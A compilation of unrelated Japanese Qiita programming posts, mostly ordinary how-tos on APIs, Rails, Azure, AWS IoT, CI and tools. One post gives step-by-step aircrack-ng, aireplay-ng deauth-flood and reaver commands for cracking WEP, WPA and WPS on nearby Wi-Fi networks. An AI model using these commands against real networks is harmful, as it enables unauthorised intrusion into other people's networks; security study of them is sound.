OmniAICreator/Qiita-1.07M huggingface dataset:
Katalon StudioでAPIテストをやってみる - vol.02

> ここではKatalon Studio Verion 7.1.1を使ってる前提で話しを進めます。

[Katalon StudioでAPIテストをやってみる - vol.01](https://qiita.com/McLaren/items/14dc74506f472092bc4a)こちらの続きです。

## APIテストをテストケースに反映させる

Object Repositoryの中で、特定のAPIをテストする設定が完了したら、
それをTest Caseに反映させます。

1. Tests ExplorerウィンドウのTestCase -> New -> Test Case を選択し、任意の名前を付け、新規でTest Caseを作成します
![スクリーンショット 2020-03-26 13.27.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148127/4ced5da5-78c6-aaff-c39a-bdc85221a2ba.png)

2. 新規で追加したTest Caseのウィンドウで「Add Web Service Keyword」をクリックすると、新規で新しいItemが追加されます。Itemは「Send Request」を選択します
![スクリーンショット 2020-03-30 15.58.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148127/ba839f8b-76d2-ade5-78d4-409985a356db.png)

3. 次にObject列の「null」となっている部分をクリックします。「Test Object input」ウィンドウが表示されるので、使用したいObjectを選択し ([こちらで作成したもの](https://qiita.com/McLaren/items/14dc74506f472092bc4a))、「OK」をクリック
![スクリーンショット 2020-03-30 16.01.45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/148127/5c72fef4-3eea-cd9f-40b0-8b90af1d7ddb.png)

4. 後は、通常のテスト実行と同じように、Test CaseからTest Suitesを作り、実行し、結果を確認できます。その辺りの設定については以下の記事を参考。
[Katalon Studio の基本概念を学ぶ vol.01](https://qiita.com/McLaren/items/0d02c1687e8bc4e57944)


以上がKatalon StudioでAPIテストを実行する一連の流れでした。



## 参考文献

* [API Testing 1 - Introduction and Getting Started](https://docs.katalon.com/katalon-studio/videos/katalon-api-introduction.html)
Goでgoogle analytics apiからpv数取りたい

## Detail
記事は多いけどちょうどやりたい事の記事がなかったので、サクッと
analyticsの準備とか、パッケージの導入は他の記事見て下さい

## TL;DR

```go
// 本番運用ではSSMとかから取る
key, _ := ioutil.ReadFile("secret.json")

jwtConf, err := google.JWTConfigFromJSON(
	key,
    // スコープ(Readonly以外見た事ない)
	analytics.AnalyticsReadonlyScope,
)
if err != nil {
}

httpClient := jwtConf.Client(oauth2.NoContext)
svc, err := analytics.New(httpClient)
if err != nil {
}

res, err := svc.Data.Ga.Get("ga:viewId入れてね", "いつから", "いつまで","ga:pageviews").Dimensions("ga:pagePath").Sort("-ga:pageviews").MaxResults(最大取得件数).SamplingLevel("HIGHER_PRECISION").Do()

//　resに全部入ってるよ
```

ハマるのはGa.Get()からのチェーンぐらいですね！
https://developers.google.com/analytics/devguides/reporting/core/v3/reference
ここ参考にすれば良いです！
C# Azure Storageでシステムログ(.log)をダウンロードする

logファイルの種類が追加Blob(AppendBlob)の場合は、CloudAppendBlobを使用する。imageの場合は、ブロックBlob(BlockBlob)であったので、CloudBlockBlobを使用。image fileと同じだと思って、CloudBlockBlobを使おうとしたら以下のエラーメッセージがでて少しはまった。

```
Blob type of the blob reference doesn't match blob type of the blob
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/252335/3a8b98ec-adb0-e6a8-2be3-1c6e83d97cdd.png)


``` c#
public static void DownloadLog(string filename)
{
	CloudBlobContainer container = GetBlobContainer("log");

	// ダウンロードするファイル名を指定
	CloudAppendBlob appendBlob_download = container.GetAppendBlobReference(filename);

	//ダウンロード後のパスとファイル名を指定。
	string path = Directory.GetCurrentDirectory() + "\\log\\" + DateTime.Now.ToString("yyyyMMdd") + ".log";

	appendBlob_download.DownloadToFile(path, FileMode.CreateNew);

}
```

```c#
private static CloudBlobContainer GetBlobContainer(string folder)
{
    // Retrieve storage account from connection string.
    CloudStorageAccount storageAccount = CloudStorageAccount.Parse(
    	CloudConfigurationManager.GetSetting("StorageConnectionString"));

    // Create the blob client.
    CloudBlobClient blobClient = storageAccount.CreateCloudBlobClient();

    // Retrieve a reference to a container.
    CloudBlobContainer container = blobClient.GetContainerReference(folder);
    
    return container;
}
```
DingTalkUpdate: Dingドライブがアップグレードされ、一部の名称が変更になりました

DingTalkのアップデート情報を、リモートワークに役に立ちそうな情報なので提供していこうと思います。

2020年3月30日ごろ気づきましたが、もっと前からかも知れません。


## 1. 「マイスペース(我的空间)」が「プライベートドキュメント(私人文件)」に変更されました。
このスペースは各個人ごとに割り当てられるスペースで2GBが無料で割り当てられます。このエリアの容量は、チームの容量とは別にカウントされます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/70132/fa9303d3-44dc-da2b-895b-aae090fbc293.png)

## 2. 「パブリックエリア（公共区）」は「全員共有スペース(全员共享空间)」に変更されました。

デフォルトで、チームのすべてのメンバーが表示・ダウンロードは出来ますが、ディレクトリを作成したり、資料をアップロードしたりすることは出来ません。
管理者はこのスペース内のサブディレクトリに対して、部門または個人ごとにアクセス許可を設定出来ます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/70132/4b83ee12-dec1-08c4-02dd-57d4d6aba829.png)


## 3. 「共有フォルダ(共享文件夹)」は、「共有スペース（共享空间）」に変更されました

チームのメンバーは共有スペースを自分で名前を付けて共有スペースを作成することが出来、共有対象を選択することが出来ます。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/70132/3f810023-d200-1370-1c6f-53339dc00758.png)
Facebook lead adsからzapierを利用してPardotのリストへ流す

日々、会社では孤独に、SalesforceとPardotのadminとして働いていますtomoakiです。
SalesforceSaturdayがしばらくなかったので寂しいです。どうかコロナ収束しますように。

本日は、facebook lead ads からそのままPardotのリストへ流す方法についてかいてみます。
あくまでも弊社での利用方法ですが、なにか参考になれば幸いです。御社で設定の場合は、検証の上、ご実施くださいませ。

SalesforceからPardotへのデータ同期でまだ問題点はあり、改良を重ねている最中です。

#Facebook lead ads とは

https://www.facebook.com/business/ads/lead-ads
こちらをご参照ください。

https://www.facebook.com/business/help/908902042493104?id=735435806665862
また、直接CRMと同期する、ということも用意されています。今回は、この中のPardotの話になります。

まずは、FacebookとPardotを連携するところまでは、上記を参考にしながら認証をとってください。

#zapier での設定
弊社の方法としては、まず、
Find and Create　をします。
そして、弊社は、姓名がとれていないプロスペクトがあるので、その姓名をとるために
カスタム項目でアップデート用の姓名の項目を入れ、そこにfacebookからの姓名をとるように設定しました。

Pardotのリストへ流すので、重要なのは、⑦の画像のキャンペーンをしっかり設定しておくこと。

①
![Edit Step   Zapier1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/532958/26c41012-7551-e4a7-f02f-e850533a8151.png)

②
![Edit Step   Zapier2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/532958/2a6ae7f4-d97f-af7c-667d-cc6ba8a5e2a1.png)

③
![Edit Step   Zapier3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/532958/bcd5fe09-6b60-48cd-0f03-077d826f2434.png)

④
![Edit Step   Zapier4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/532958/e3573189-81ba-309d-f855-b14ca07f4b70.png)

⑤
![Edit Step   Zapier5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/532958/f71e7638-b3e1-6e3f-0bcf-dd492ae3fa5e.png)

⑥
![Edit Step   Zapier6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/532958/fbe2c09b-22c5-6453-a615-692973446695.png)

⑦
![Edit Step   Zapier7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/532958/f6d490a0-6c93-bf12-eb7e-64c13d386186.png)

⑧
![Edit Step   Zapier8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/532958/6fad90bc-c0f1-6a3e-3a05-e97d144259f1.png)

⑨
![Edit Step   Zapier9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/532958/c3df4e06-aac1-12e7-94da-4fb0a467398c.png)

⑩
![Edit Step   Zapier10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/532958/ed63f0a8-b163-0cf1-6512-208c7d8373b3.png)

⑪
![Edit Step   Zapier10-2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/532958/d3266ef8-8f57-0164-6d17-95d2a833541c.png)


#オートメーションルールを設定

キャンペーンをしっかり設定してあるので、

「プロスペクト」　が　「次の値と等しい」　

→設定したキャンペーンを選び

あとは、弊社の場合は、リストへ入れたいだけなので、完了アクションとして

プロスペクトををリストに追加　と選ぶ

#問題点
facebookの姓名からにPardotへのフォーム流入に　

姓名＋名　という状態になる方が多数

これがなぜかよく分からず、まだ解決していません。

どなたかご存知の方がいらっしゃいましたら、ぜひ、ご教授いただけますと嬉しいです。

よろしくお願いいたします。
ActiveModelSerialize で has_many の N+1 SQLクエリを防止するために eager_load する例 ( #Rails )

# Controller

```rb
class UsersController < ActiveController
  def index
    # render json: User.eager_load(:includes).all
    render json: User.eager_load(:books).all
  end
end
```

# Serializer

```rb
class UserSerializer < ActiveModel::Serializer
  attributes :id,
             :name

  has_many :books
end

```

# NOTE

途中 eager_load / includes が効かないような気がして gem も試したのだが、効かないというのは気のせいだった。

ams_lazy_relationships は Star数は少ないが includes のちょっとした問題点を解決してくれそうなgem？
httpリクエスト単位でのキャッシュや、もっと長いキャッシュを実現してくれそうな気もする。

[Bajena/ams_lazy_relationships: ActiveModel Serializers addon for eliminating N+1 queries problem from the serializers.](https://github.com/Bajena/ams_lazy_relationships)

# Original by Github issue

https://github.com/YumaInaura/YumaInaura/issues/3056








<!-- Update From Qiita API -->

# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ





# Twitter


https://twitter.com/YumaInaura


<!-- Update From Qiita API -->
備忘録：Emacs を Ubuntu でビルド

Ubuntu 22 LTS を使って Emacs-31.0.50 をビルドする。Ubuntu なら 素直にビルドできるハズ。

```console
$ sudo apt install autoconf automake libtool m4 make gettext texinfo gcc g++ m17n-db libm17n-dev libncurses5-dev libgpm-dev xaw3dg-dev libgtk2.0-dev libgtk-3-dev libwebkit2gtk-4.0-dev libxpm-dev libjpeg-dev libgif-dev libtiff-dev librsvg2-dev libmagick++-dev libotf-dev liblcms2-dev libgnutls28-dev libtree-sitter-dev libgccjit-*-dev libselinux1-dev libsystemd-dev libacl1-dev ispell mailutils
$ ./configure --with-modules --with-xwidgets --enable-link-time-optimization --with-tree-sitter --with-native-compilation
$ make
$ sudo make install
```

UTF-8 / S-JIS 混乱回避努力のパッチ

https://qiita.com/ikiuo/items/e40fd062c6ae96aad900
Easy Auth で認証したユーザIDを入手する

# Easy Auth で認証したユーザIDを入手する

\# 以下の記事が書かれた時の版数は .NET Core 3.1 (3.1.201), ASP.NET Core 3.1 (3.1.3) となります.

Azure App Service に組み込まれた Easy Auth を使った Azure AD 認証連携、設定が簡単すぎて感動的. ただ、`User.Identity.Name` が空だったのでコードを書いた.

Visual Studio 2019 の新しいプロジェクトの作成で「ASP.NET Core Web アプリケーション」を選び、ASP.NET Core 3.1 の Web アプリケーション(モデル ビュー コントローラ) を選んで生成されるソースコードがまず出発地点.

次に Startup.cs を開き、先頭に `using System.Security.Principal;` を追加して、`Configure` メソッドの `app.UseAuthorization();` と `app.UseEndpoints(endpoints =>` の間に

```csharp
app.Use(async (context, next) =>
{
    if (context.Request.Headers.ContainsKey("X-MS-CLIENT-PRINCIPAL-NAME"))
    {
        var azureAppServicePrincipalNameHeader = context.Request.Headers["X-MS-CLIENT-PRINCIPAL-NAME"][0];
        var identity = new GenericIdentity(azureAppServicePrincipalNameHeader);
        context.User = new GenericPrincipal(identity, null);
    }
    await next.Invoke();
});
```

を埋め込む. 要するに Easy Auth はリクエストヘッダの `X-MS-CLIENT-PRINCIPAL-NAME` にユーザ ID を入れてくれている.

あとは `Views/Home/Index.cshtml` を開いて `<h1 class="display-4">Welcome</h1>` を `<h1 class="display-4">Welcome @User.Identity.Name</h1>` に書き換えるだけ.

デプロイして、確認. 画面に Azure AD にログインしたユーザ ID が表示された. OK!!
GitHubから、gemの脆弱性の通知がきたので、バージョンアップをする

# はじめに

**rubyzip**という**gem**で、割と危険度が高い脆弱性があるという主旨の通知メールがGitHubから届いたため、いちいち面倒ではあるが、バージョンアップを行っておく。

# 手順

**Gemfile**の中身に**rubyzip**がないか探すが、どうも、**rubyzip**という**gem**は使っていないようだったため、**Gemfile.lock**の中身を検索する。すると、２ヶ所で検索される。どうも、他のgemの中から、依存関係として利用されている事のようだ。

```Gemfile.lock
rubyzip (1.2.3)
selenium-webdriver (3.142.4)
      childprocess (>= 0.5, < 3.0)
      rubyzip (~> 1.2, >= 1.2.2)
```

先に、Ubuntuにインストールされている**rubyzip**のバージョンを確認しておく。

```cmd
gem list | grep rubyzip
rubyzip (1.3.0, 1.2.4, 1.2.3)
```

**rubyzip**のバージョンを最新にする。

```cmd
gem update rubyzip
```

2.0.0が追加されて、**rubyzip**のバージョンが、確かに上がった事を確認する。

```cmd
gem list | grep rubyzip
rubyzip (2.0.0, 1.3.0, 1.2.4, 1.2.3)
```

**Gemfile.lock**を最新に更新する

```cmd
bundel update
```

上記だと、全てのgemがバージョンアップされるため、特定のgemのみバージョンアップさせたい場合は、このようにしてもOK。

```cmd
bundle update rubyzip
```

**Gemfile.lock**の中身を見ると、確かに、**rubyzip**のバージョンが上がっています。

```Gemfile.lock
rubyzip (2.0.0)

selenium-webdriver (3.142.6)
      childprocess (>= 0.5, < 4.0)
      rubyzip (>= 1.2.2)
```

GitHubに最新を反映させます。

```cmd
git add .
git commit -m 'rubyzipの脆弱性のバージョンアップ'
git push origin master
```
aircrack-ng on raspberry pi

## 0.Prepare
### 0.1 Installing Aircrack-ng
```sh
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install aircrack-ng
```

### 0.2. To find the name of your wireless network adapter

```sh
ip a
```
![ip_a.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/85760/d7785734-202d-08e4-2173-081d8ac1bf6a.png)

```sh
ifconfig
```
![ifconfig.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/85760/3a3ada74-d667-f15b-bc4d-1e80a56f03b5.png)

### 0.3. put your attack card into monitor mode

```
sudo airmon-ng check kill
sudo airmon-ng start wlan0
```

## 1. Locate Nearby WEP Networks
```sh
sudo airodump-ng wlan0mon --encrypt WEP
```

## 2. Attack a Discovered WEP Wi-Fi Network
Besside-ng will log all of the data it collects in a .cap file
So, if your network card was **wlan0mon**, the BSSID of your target network was **7C:CA:ED:A4:9B:EE**, and the target network was on channel **3**, your command would look like the following.  

```sh
besside-ng -b BSSIDofTargetNetwork -c ChannelTargetIsOn NameOfInterfaceCard
besside-ng -b 7C:CA:ED:A4:9B:EE -c 11 wlan0mon
```

## 3. Flood the Network & Extract the WEP Key  
```sh
aircrack-ng ./wep.cap
```

## Ref
https://null-byte.wonderhowto.com/how-to/hack-wi-fi-hunting-down-cracking-wep-networks-0183712/  
https://howtotechglitz.com/japan/%E6%96%B0%E3%81%97%E3%81%84pmkid%E3%83%8F%E3%83%83%E3%82%B7%E3%83%A5%E3%82%AD%E3%83%A3%E3%83%83%E3%83%81%E6%94%BB%E6%92%83%E3%81%A7wpa2%E3%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%E3%82%92%E7%A0%B4/


## 1，抓取握手包

airmon-ng start wlan0(監聽網卡)

airmon-ng check kill(清除其他有影响的環境)

airodump-ng mon0 (掃描附近wifi)

airodump-ng --bssid 目標mac -c (目標ch) -w crack(自定义文件名) mon0

接下来就等待hand包

 

## 2，加速（泛洪攻击）

aireplay-ng --deaut 10(10次) -a 目標mac -c 本機mac mon0 (泛洪攻擊)

 
## 3，跑字典

aircrack-ng -w /tmp/WPADict.txt crack-01.cap  (跑字典,这里的.cap文件是抓到的握手包，前面的是字典)

或者丢到网上在线跑包 http://www.china-paobao.com/


# WPS
## 1.找到开启WPS功能的无线路由器
`wash -i wlan0mon -C`
如果什么也没有表示周围没有开启WPS的无线路由器。记住要破解wifi的BSSID。

## 2、开始破解密码
`reaver -i wlan0mon -b C8:3A:35:30:3E:C8 -vv -a`
1
等待2-10小时：

最后，不要忘了结束无线网卡的监控模式：
`airmon-ng stop wlan0mon`
AWS IoT のクライアントデバイス環境を簡単に作るスクリプト(Node.js v2 版)

ちょこっとテストするための、Node.js版のAWS IoT Device SDK v2のPubSubをすぐに試すスクリプトです。CLI上で数行でできます。
Python版は[こちら](https://qiita.com/tatsuhiroiida/items/bb9e801702ed0e641fa1) だいたい同じです

Cloud9上での設定を想定しています。マネコンで作成するのが手間な場合に使います。
何をやっているか等は説明しません。。
あと、手動で何発かメッセージを送るだけであれば、IoT Coreのテスト機能を使うのがよいです。

### 準備
Cloud9 の環境にはUbuntuを選びます。Amazon Linuxだと、`GLIBC_2.25` が無いというエラーが出ております。
Cloud9の環境を作成し、以下をEnvironmentディレクトリ下に置きます。


```sh:setup-node-v2.sh

mkdir $THING_NAME
cd $THING_NAME
POLICY_NAME=${THING_NAME}_Policy

aws iot create-thing --thing-name ${THING_NAME}

git clone https://github.com/aws/aws-iot-device-sdk-js-v2.git
cd aws-iot-device-sdk-js-v2/samples/node/pub_sub/
npm install

wget -O rootca.pem \
    https://www.amazontrust.com/repository/AmazonRootCA1.pem

aws iot create-keys-and-certificate --set-as-active \
    --certificate-pem-outfile    certificate.pem \
    --public-key-outfile         public_key.pem  \
    --private-key-outfile        private_key.pem \
    --query certificateArn

echo -n CERTIFICATE_ARN: 
read str 
CERTIFICATE_ARN=$str

aws iot create-policy                     \
        --policy-name ${POLICY_NAME}      \
        --policy-document file://../../../../../policy.json

aws iot attach-thing-principal             \
        --thing-name $THING_NAME           \
        --principal $CERTIFICATE_ARN

aws iot attach-principal-policy            \
        --policy-name $POLICY_NAME         \
        --principal $CERTIFICATE_ARN

```

ポリシーは適宜修正すべきですが、一旦なんでも有りで。

```json:policy.json
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action":["iot:*"],
    "Resource": ["*"]
  }]
}
```

## 実行

```sh
npm install aws-iot-device-sdk-v2

aws iot describe-endpoint --endpoint-type iot:Data-ATS 
export ENDPOINT=yourendpoint-ats.iot.ap-northeast-1.amazonaws.com
export THING_NAME=mything
./setup-node-v2.sh
cd $THING_NAME/aws-iot-device-sdk-js-v2/samples/node/pub_sub
node dist/index.js --endpoint $ENDPOINT --root-ca rootca.pem --cert certificate.pem --key private_key.pem

```

別のThingで試すときは、THING_NAMEを書き換えて実行します。
Ruby on Rails とかで docker 環境なのに #VSCode で ruby-rubocop 拡張を有効にするにはどうすれば良いのか？ ( #Rails #Ruby )

# ruby-rubocop

![image](https://user-images.githubusercontent.com/13635059/77843391-db566100-71d7-11ea-8e92-243087a89fde.png)

# エラー

なんかいろいろと言われますけれど。

![image](https://user-images.githubusercontent.com/13635059/77843405-03de5b00-71d8-11ea-9f64-bc8fc0973ad2.png)
![image](https://user-images.githubusercontent.com/13635059/77843418-1789c180-71d8-11ea-9f91-f898b22f598d.png)


# 解決法

local に同じバージョンの ruby + rubocop 関連で必要なgemをインストーするれば動くっぽい

```
gem install rubocop
gem install rubocop-performance
gem install rubocop-rails
```

以上。


VsCodeがdockerまで見に行けないですもんね。いや、やり方はあるのかもしれないけど。やれたにしても激遅でしょ？たぶん。

# Original by Github issue

https://github.com/YumaInaura/YumaInaura/issues/3055








<!-- Update From Qiita API -->

# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ





# Twitter


https://twitter.com/YumaInaura


<!-- Update From Qiita API -->
【skyboxのマテリアル】6sidedでかんたんにカオスな世界観を出そう

テクスチャなどの素材があることを前提として、
かんたんな(カオスな)skyboxの作り方を紹介します

---

1.　マテリアルを新規作成する
<img width="122" alt="c01.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/191635/6fe4d74a-f26b-359b-469a-2596d73aed75.png">

2.　マテリアルのインスペクターで、
　　[Shader]-[Standard]の箇所を押下
　　SKyboxを選択する
<img width="273" alt="c02.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/191635/67829d13-4075-211c-5225-f20da68a2817.png">

3.　skyboxは様々な構成の仕方がありますが、[6 sided]を選択
<img width="271" alt="c03.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/191635/0a6ced7b-deb8-af5f-61b4-cc63b66b0a66.png">

4.　それぞれテクスチャを選択する
<img width="266" alt="c04.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/191635/41f899e2-3edd-7413-e5f8-1b54d0cf1919.png">

(例)　clusterのCreatorキットにあるテクスチャを適当に選択するとこんな感じになります。
<img width="273" alt="c05.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/191635/13a0e15c-bb87-5674-f977-95ccba6f9494.png">

---

上記のskyboxで作ったワールドが下記のclusterのワールドとなります。
(息子と作ってます)

『はじまりのロボットの世界』
世界背景:一年経って、ビルなどが建ちました。
https://cluster.mu/w/e3f44548-b438-4649-a3bc-51fd55599381
<img width="551" alt="w02titlelogo.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/191635/c2a7be3e-1fb1-927f-663f-4c23f46a3658.png">
rails6のwebpacker.ymlインストールエラー

#エラー内容

```ruby:実行コマンド
dockder-compose up
```

```console
:エラー
Webpacker configuration file not found /app_name/config/webpacker.yml. 
Please run rails webpacker:install Error: No such file or directory @ rb_sysopen - /app_name/config/webpacker.yml (RuntimeError)

```

##意味
webpacker.ymlに設定が見つからない。

##解決
単純にコンテナ内でwebpackerをインストールをしたら解決したました。

```ruby:実行コマンド
docker-compose run web bundle exec rails webpacker:install
```
vistaでkicad その2


#概要

vistaでkicadやってみた。
sketchupで、dxf書いて、kicadで読み込んで見た。

#環境

windows vista 32bit
kicad 4.0.4
sketchup 8

#sketchupでbox書く。

![image](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/454e2d8a-d4cd-7a96-55e9-6166a057f044.png)


#skp_to_dxf.rbでdxfを出力。



```
 0
SECTION
 2
ENTITIES
  0
3DFACE
 8
GROUP0
10
2.54
20
2.54
30
0.0
11
0.0
21
0.0
31
0.0
12
0.0
22
2.54
32
0.0
13
0.0
23
2.54
33
0.0
70
1
  0
3DFACE
 8
GROUP0
10
0.0
20
0.0
30
0.0
11
2.54
21
2.54
31
0.0
12
2.54
22
0.0
32
0.0
13
2.54
23
0.0
33
0.0
70
1
  0
3DFACE
 8
GROUP0
10
2.54
20
0.0
30
2.54
11
0.0
21
2.54
31
2.54
12
0.0
22
0.0
32
2.54
13
0.0
23
0.0
33
2.54
70
1
  0
3DFACE
 8
GROUP0
10
0.0
20
2.54
30
2.54
11
2.54
21
0.0
31
2.54
12
2.54
22
2.54
32
2.54
13
2.54
23
2.54
33
2.54
70
1
  0
3DFACE
 8
GROUP0
10
2.54
20
0.0
30
2.54
11
0.0
21
0.0
31
0.0
12
2.54
22
0.0
32
0.0
13
2.54
23
0.0
33
0.0
70
1
  0
3DFACE
 8
GROUP0
10
0.0
20
0.0
30
0.0
11
2.54
21
0.0
31
2.54
12
0.0
22
0.0
32
2.54
13
0.0
23
0.0
33
2.54
70
1
  0
3DFACE
 8
GROUP0
10
0.0
20
2.54
30
2.54
11
0.0
21
0.0
31
0.0
12
0.0
22
0.0
32
2.54
13
0.0
23
0.0
33
2.54
70
1
  0
3DFACE
 8
GROUP0
10
0.0
20
0.0
30
0.0
11
0.0
21
2.54
31
2.54
12
0.0
22
2.54
32
0.0
13
0.0
23
2.54
33
0.0
70
1
  0
3DFACE
 8
GROUP0
10
0.0
20
2.54
30
2.54
11
2.54
21
2.54
31
0.0
12
0.0
22
2.54
32
0.0
13
0.0
23
2.54
33
0.0
70
1
  0
3DFACE
 8
GROUP0
10
2.54
20
2.54
30
0.0
11
0.0
21
2.54
31
2.54
12
2.54
22
2.54
32
2.54
13
2.54
23
2.54
33
2.54
70
1
  0
3DFACE
 8
GROUP0
10
2.54
20
2.54
30
0.0
11
2.54
21
0.0
31
2.54
12
2.54
22
0.0
32
0.0
13
2.54
23
0.0
33
0.0
70
1
  0
3DFACE
 8
GROUP0
10
2.54
20
0.0
30
2.54
11
2.54
21
2.54
31
0.0
12
2.54
22
2.54
32
2.54
13
2.54
23
2.54
33
2.54
70
1
 0
ENDSEC
 0
EOF

```

#kicadでdxfインポートする。

うまくいかん。

![image](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/5eb42130-8331-22c9-cbc7-e080551e59a9.png)



以上。











:
Docker-machineに関して（インストール）

#Docker-machineに関して

備忘録として書きます。
今回は簡易的です。

本日、docker-machine --versionとターミナルに入力して
versionを確認しようとしたら

```````
$ docker-machine version

failed MSpanList_Insert 0x2707000 0x2e039a1c174 0x0 0x0
fatal error: MSpanList_Insert

runtime stack:
runtime.throw(0x16e41e0, 0x10)
	/usr/local/go/src/runtime/panic.go:530 +0x90 fp=0x7ffeefbff3e0 sp=0x7ffeefbff3c8
runtime.(*mSpanList).insert(0x22a0ca8, 0x2707000)
....
（この下にもっとありましたが、省略）

```````

上記エラーが出て、数時間謎のまま。。。

ですが、https://blog.fkoji.com/2020/01231607.html
を参考にして解決しました。

どうやら、バージョン 2.2.0.0 から Docker Machine は Docker Desktop に含まれなくなった
との記載があったので、書いてある通りに

`````
$ rm /usr/local/bin/docker-machine
`````
`````
$ curl -L https://github.com/docker/machine/releases/download/v0.16.2/docker-machine-`uname -s`-`uname -m` >/usr/local/bin/docker-machine && \
  chmod +x /usr/local/bin/docker-machine
`````

を実行したところ、docker-machineのversionが確認できました。

`````
$ docker-machine version
docker-machine version 0.16.2, build bd45ab13
`````


## 参考文献（参考記事）
https://blog.fkoji.com/2020/01231607.html
CircleCIで2つのMySQLデータベースに接続するアプリのconfig.yml

# 初めに

CircleCiがV2に移行する前から、2つのデータベース(MySQL)に接続するアプリのテストを実行させていました。
CircleCiが完全にV1を廃止することに伴ってV2に移行した際に設定方法を検討して実現できた方法を記載します。

## 構成

このような構成のアプリを想定しています。
DBサーバーのインスタンスは1つです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/155013/b4786360-f056-8b14-9802-2aa0c73af89a.png)


# 設定方法

```.circleci/config.yml
version: 2
jobs:
  build:
    docker:
      - image: circleci/openjdk:8-jdk
      - image: circleci/mysql:5.7
        environment:
          MYSQL_DATABASE: database1, database2  # ココがポイント！
          MYSQL_HOST: 127.0.0.1
          MYSQL_ROOT_PASSWORD: 'foo'
          MYSQL_ROOT_HOST: '%'
        command: [--character-set-server=utf8, --collation-server=utf8_general_ci]

    working_directory: ~/repo
    
    environment:
      JVM_OPTS: -Xmx3200m
      TERM: dumb
      TZ: '/usr/share/zoneinfo/Asia/Tokyo'
    
    steps:
      - checkout
      
      - run:
          name: Wait for db
          command: dockerize -wait tcp://localhost:3306 -timeout 1m
          
      - restore_cache:
          keys:
          - v1-dependencies-{{ checksum "build.gradle" }}
          - v1-dependencies-
          
      - run: gradle dependencies
      
      - save_cache:
          paths:
            - ~/.gradle
          key: v1-dependencies-{{ checksum "build.gradle" }}
          
      - run:
          name: Running tests
          command: gradle test -PexcludeThroughTest=true --info
          
      - store_artifacts:
          path: ./build/reports
          destination: reports
          
      - store_test_results:
          path: ./build/test-results
```

## ポイント

ポイントは環境変数のMYSQL_DATABASEに設定する値です。
カンマ区切りでデータベース名を指定することで、起動時にその名前のデータベースを作成してくれるようになります。

# 最後に
インターネットで探しても複雑な方法ばかり見つかりますが、この方法が一番シンプルに実現できるのではないでしょうか。
残念ながらこの方法に行き着いたソースがわからなくなってしまったのですが、参考にしていただければ幸いです！
VBAで相対パスから絶対パスに変換する関数

## 感想
VBAで相対パスから絶対パスに変換する関数を頑張って作ったら、検索して出てきたのでガッカリした。

## 自分が作った関数
``` 
Function 相対パスを絶対パスに変更する(ByVal FilePath As String) As String
    Dim FilePathLeft As String
    FilePath = Replace(FilePath, "/", "\")
    FilePathLeft = ThisWorkbook.path
    Do
        If Left(FilePath, 2) <> ".." Then
            Exit Do
        End If

        FilePath = Mid(FilePath, InStr(FilePath, "\") + 1)
        FilePathLeft = Mid(FilePathLeft, 1, InStrRev(FilePathLeft, "\") - 1)
    Loop
    
    If Left(FilePath, 2) = ".\" Then
        '「.\」を削除する
        FilePath = Mid(FilePath, InStr(FilePath, "\") + 1)
    End If
    
    FilePath = FilePathLeft & "\" & FilePath
    
    If ファイルが存在するかどうか(FilePath) = False Then
        'ファイルが存在しない場合
        MsgBox "「" & FilePath & "」というファイルは存在しません。" & vbNewLine & "終了します。"
        End
    End If
    相対パスを絶対パスに変更する = FilePath
End Function

' 参照設定でMicrosoft Scripting Runtimeの利用が必要
Function ファイルが存在するかどうか(ByVal FilePath As String) As Boolean
    Dim fso As FileSystemObject
    Set fso = New FileSystemObject ' インスタンス化
    ファイルが存在するかどうか = fso.FileExists(FilePath) ' ファイルの存在確認
    Set fso = Nothing
End Function

'呼び出し元の関数
Sub Test()
    Dim FilePath As String
    FilePath = "../../出力ファイル/お客様.xlsx"
    MsgBox 相対パスを絶対パスに変更する(FilePath)
End Sub
```

## Web上にすでに公開されていた関数
引用元：https://www.excel-chunchun.com/entry/2018/12/30/121243

```
Function GetAbsolutePathNameExFso(ByVal basePath As String, ByVal RefPath As String) As String
     Dim fso As FileSystemObject
     Set fso = New FileSystemObject
     GetAbsolutePathNameExFso = fso.GetAbsolutePathName(fso.BuildPath(basePath, RefPath))
End Function

